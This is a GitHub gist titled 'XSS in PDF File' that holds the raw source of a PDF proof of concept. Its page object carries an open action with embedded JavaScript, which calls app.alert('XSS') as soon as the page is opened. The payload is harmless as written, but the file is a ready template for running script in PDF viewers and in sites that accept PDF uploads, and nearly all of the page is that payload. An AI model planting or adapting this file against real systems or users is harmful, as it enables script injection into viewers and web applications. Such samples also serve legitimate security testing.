Skip to content

Instantly share code, notes, and snippets.

@GugSaas
Created June 23, 2023 15:07
Show Gist options
  • Save GugSaas/3e12c57cf22f745d009e31266f441e07 to your computer and use it in GitHub Desktop.
Save GugSaas/3e12c57cf22f745d009e31266f441e07 to your computer and use it in GitHub Desktop.
XSS in PDF File - By Victorjj
Display the source blob
Display the rendered blob
Raw
%PDF-1.3
%âãÏÓ
1 0 obj
<</Pages 2 0 R /Type /Catalog>>
endobj
2 0 obj
<</Count 1 /Kids [3 0 R] /Type /Pages>>
endobj
3 0 obj
<</AA
<</O
<</JS
(
try {
app.alert\("XSS"\)
} catch \(e\) {
app.alert\(e.message\);
}
)
/S /JavaScript>>>>
/Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
/Resources
<</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
/Type /Page>>
endobj
4 0 obj
<</Length 21>>
stream
BT
/F1 24 Tf
ET
endstream
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000062 00000 n
0000000117 00000 n
0000000424 00000 n
trailer
<</Root 1 0 R /Size 5>>
startxref
493
%%EOF
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment